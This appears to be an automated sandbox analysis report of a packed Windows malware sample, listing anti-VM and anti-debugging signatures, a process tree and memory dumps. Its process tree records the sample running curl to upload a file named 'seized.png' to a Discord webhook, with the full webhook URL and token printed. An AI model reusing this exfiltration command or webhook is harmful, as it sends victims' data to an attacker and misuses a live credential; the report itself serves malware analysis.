Analysis

  • user interaction
    yes
  • max time kernel
    31s
  • max time network
    18s
  • platform
    windows11-21h2_x64
  • resource
    win11-20260130-en
  • resource tags

    arch:x64arch:x86image:win11-20260130-enlocale:en-usos:windows11-21h2-x64systemwindows
  • submitted
    04/05/2026, 22:22

General

  • Target
    [email protected]
  • Size 7.1MB
  • Sample260504-2ak6bsht2p
  • SHA256 63c2dd97e1dca02addd4d0c2ea0a257a24b8acf4b4bde6e08ad985ab9456cddd
  • MD5 SHA1 SHA512 SSDEEP TLSH

Malware Config

Signatures

  • Identifies VirtualBox via ACPI registry values (likely anti-VM) 2 TTPs 1 IoCs
  • Checks BIOS information in registry 2 TTPs 2 IoCs

    BIOS information is often read in order to detect sandboxing environments.

  • Themida packer 6 IoCs

    Detects Themida, an advanced Windows software protection system.

  • Checks whether UAC is enabled 1 TTPs 1 IoCs
  • Contacts third-party web service commonly abused for C2 1 TTPs 4 IoCs

    Legitimate web (hosting) services can be abused by malware authors to host malware or C2s.

  • Suspicious use of NtSetInformationThreadHideFromDebugger 1 IoCs
  • Suspicious behavior: EnumeratesProcesses 2 IoCs
  • Suspicious use of WriteProcessMemory 8 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\[email protected]
    "C:\Users\Admin\AppData\Local\Temp\[email protected]"
    1⤵
    • Identifies VirtualBox via ACPI registry values (likely anti-VM)
    • Checks BIOS information in registry
    • Checks whether UAC is enabled
    • Suspicious use of NtSetInformationThreadHideFromDebugger
    • Suspicious behavior: EnumeratesProcesses
    • Suspicious use of WriteProcessMemory
    PID:1108
    • C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c certutil -hashfile "C:\Users\Admin\AppData\Local\Temp\[email protected]" MD5 | find /i /v "md5" | find /i /v "certutil"
      2⤵
      • Suspicious use of WriteProcessMemory
      PID:5556
      • C:\Windows\system32\certutil.exe
        certutil -hashfile "C:\Users\Admin\AppData\Local\Temp\[email protected]" MD5
        3⤵
          PID:4736
        • C:\Windows\system32\find.exe
          find /i /v "md5"
          3⤵
            PID:996
          • C:\Windows\system32\find.exe
            find /i /v "certutil"
            3⤵
              PID:5436
          • C:\Windows\system32\cmd.exe
            C:\Windows\system32\cmd.exe /c curl -F "file1=@C:\Windows\temp\seized.png" https://discord.com/api/webhooks/1453050203128201399/HxHowWZQWHC29cSIA6If1N71GNGQ-Kv1g3AKHw-SrLbTmv-bVQcD8nT17n76uKxgTKpI
            2⤵
            • Suspicious use of WriteProcessMemory
            PID:5084
            • C:\Windows\system32\curl.exe
              curl -F "file1=@C:\Windows\temp\seized.png" https://discord.com/api/webhooks/1453050203128201399/HxHowWZQWHC29cSIA6If1N71GNGQ-Kv1g3AKHw-SrLbTmv-bVQcD8nT17n76uKxgTKpI
              3⤵
                PID:5484
            • C:\Windows\system32\cmd.exe
              C:\Windows\system32\cmd.exe /c curl -F "file1=@C:\Windows\temp\seized.png" https://discord.com/api/webhooks/1453050203128201399/HxHowWZQWHC29cSIA6If1N71GNGQ-Kv1g3AKHw-SrLbTmv-bVQcD8nT17n76uKxgTKpI
              2⤵
              • Suspicious use of WriteProcessMemory
              PID:5256
              • C:\Windows\system32\curl.exe
                curl -F "file1=@C:\Windows\temp\seized.png" https://discord.com/api/webhooks/1453050203128201399/HxHowWZQWHC29cSIA6If1N71GNGQ-Kv1g3AKHw-SrLbTmv-bVQcD8nT17n76uKxgTKpI
                3⤵
                  PID:3076

            Network

                  MITRE ATT&CK Enterprise v16

                  Replay Monitor

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                  Downloads

                  seized.png

                  • Path C:\Windows\temp\seized.png
                  • Size 586KB
                  • SHA256 540618e4d16f4922c065c6d2ecf47fa536a4d3a4a10ad087a090fcc023542c9b
                  • MD5 SHA1 SHA512 SSDEEP TLSH

                  memory/1108-11-0x00000000001F0000-0x00000000001F8000-memory.dmp

                  memory/1108-3-0x0000000140000000-0x0000000140E0D000-memory.dmp

                  memory/1108-2-0x0000000140000000-0x0000000140E0D000-memory.dmp

                  memory/1108-1-0x0000000140000000-0x0000000140E0D000-memory.dmp

                  memory/1108-13-0x0000000002190000-0x00000000021A2000-memory.dmp

                  memory/1108-12-0x0000000000540000-0x000000000054C000-memory.dmp

                  memory/1108-0-0x0000000140000000-0x0000000140E0D000-memory.dmp

                  memory/1108-10-0x0000000140000000-0x0000000140E0D000-memory.dmp

                  memory/1108-14-0x0000000140000000-0x0000000140E0D000-memory.dmp

                  memory/1108-16-0x0000000000540000-0x000000000054C000-memory.dmp

                  memory/3076-9-0x000001E0F3370000-0x000001E0F337C000-memory.dmp

                  memory/5484-6-0x0000025F21700000-0x0000025F2170C000-memory.dmp